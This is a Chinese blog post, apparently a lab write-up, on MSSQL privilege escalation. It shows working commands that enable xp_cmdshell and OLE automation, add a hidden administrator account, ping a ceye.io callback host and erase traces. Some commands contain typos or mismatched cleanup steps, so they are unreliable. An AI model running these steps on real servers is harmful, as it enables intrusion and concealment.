2023.7.2-3-4Mssql xp_cmdshell提權

路Sang發表於2024-07-27

1.概念

Mssql和SQL sever的一個產品的不同名稱。都屬於微軟公司旗下。而上述Mssql xp_cmdshell提權也屬於資料庫提權的一種。

主要依賴於sql server自帶的儲存過程

1.1xp_cmdshell提權

擴充套件儲存過程中xp_cmdshell是一個開放介面,可以讓sql sever呼叫cmd命令。
此過程在 SQL sever2000中預設開啟,2005本身及之後版本預設禁止。若想使用,則先需擁有SA賬戶相應許可權,使用sp_configure將其開啟。

原理:是在xp_cmdshell的擴充套件儲存過程,透過執行命令方式利用作業系統許可權。SA是Microsoft SQLsever的管理員賬號,擁有最高許可權,可以執行擴充套件儲存過程,並獲得返回值。

2005的xp_cmdshell許可權一般為system,2008多數為nt authority\network service

1.2xp_cmdshell提權前提
  • 拿到sa許可權的賬戶密碼
  • sqlsever服務未降權

2.環境

實驗環境:Windows 7系統、SQL Server 2008版本64位

3.操作

3.1從官網下載SQL sever2008 x64 SQLExprAdva版本

Download Microsoft® SQL Server® 2008 R2 SP2 - Express Edition from Official Microsoft Download Center

SQLExprAdva(包含資料庫引擎、Express Tools、Reporting Services 和全文搜尋),此包包含 SQL Express 的所有元件。此包的下載大小大於“帶有工具”的版本,因為它還同時包含“全文搜尋”和 Reporting Services。
3.2安裝sql sever環境

3.3對所有SQL Server服務使用相同的賬戶,然後選在system賬戶(決定了之後提權是否是system許可權)

3.4初始化,伺服器名稱填寫lcn-PC(同主機名)

3.5配置重啟資料庫

點選資料庫屬性,然後直接確定;之後點選重新啟動資料庫。

3.6新增SA使用者,並修改密碼

SQL Server提權需要獲取SA使用者許可權,即設定SA使用者並設定密碼(123456)。

3.7設定許可權,在SA伺服器角色中修改最高許可權為public和sysadmin。

3.8設定外聯;勾選允許連線到資料庫引擎並啟用登入;

3.9 設定好之後重啟資料庫
3.10測試外聯;開啟SQL server配置管理器的網路設定,檢查TCP/IP協議是否開啟,之後使用navicat進行連線。

成功連線到navicat 16;

4.提權操作

4.1檢視元件

執行操作

SELECT count(*)FROM master.dbo.sysobjects WHERE xtype='x' and name='xp_cmdshell'; #檢視系統例項中是否有xp_cmdshell儲存過程;返回行數>0則有,=0則無

4.2若無元件,則開啟元件

執行指令:

開啟:  
EXEC sp_configure 'show advanced options', 1;  #將高階選項改為1,即啟用

RECONFIGURE ;    #若使用with override覆蓋任何已存在配置,重新配置SQL Server例項應用剛更改的引數

EXEC sp_configure xp_cmdshell', 1;#同1  ,1表示啟用,若關閉則為0,別的不變;
RECONFIGURE;

4.2執行命令,之後執行的命令都是以system許可權執行

4.3之後執行新增使用者命令操作指令,結果成功
exec master..xp_cmdshell 'net user lusang 123456 /add'; #建立使用者lusang並設定密碼為123456;..表示引用master資料庫中的xp_cmdshell儲存過程,省略指定資料庫名稱

exec master..xp_cmdshell 'net localgroup administrators lusang /add';#將使用者lusang加入管理員工作組

檢視已經顯示使用者建立成功;

4.4利用完許可權後,清理痕跡

執行操作將兩項配置還原為0;

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'; #顯示已經關閉xp_cmdshell介面

5.Ole提權(Object Linking and Embedding)

當xp_cmdshell不可用時,則可以利用sp_oacreate提權;其本身是一個很危險的儲存過程,可以刪除、複製、移動檔案,或者是配合sp_oamethod來寫檔案執行cmd命令。

提權條件:系統管理員使用sp_configure啟用sp_oacreate和sp_oamethod系統儲存過程對OLE自動化過程的訪問。

5.1判斷元件是否存在

執行指令:

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'; #返回0證明不存在,返回1則存在

5.2開啟元件

執行指令

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE; #使用with override覆蓋任何已存在配置,重新配置SQL Server例項應用剛更改的引數

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

5.3執行元件

執行指令:

declare @cmd INT;
EXEC sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'ping cqy1eo.ceye.io','0','true';
#透過OLE Automation建立了一個WScriot.Shell物件,之後用run方式執行指定的命令列操作,ping操作,0是視窗樣式引數,表示隱藏命令列視窗,true表示等待命令執行完畢。

5.4之後嘗試建立使用者
daclare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user test1 123456 /add','0','true';

檢視顯示建立成功;

5.5恢復環境,清理痕跡
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

6.總結

針對Mssql xp_cmdshell提權的學習實踐,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA許可權太低,導致無法提權。

資料庫提權的方式也不止有Mssql xp_cmdshell一種,之後更多的提權方式也是我更應該學習的地方。

相關文章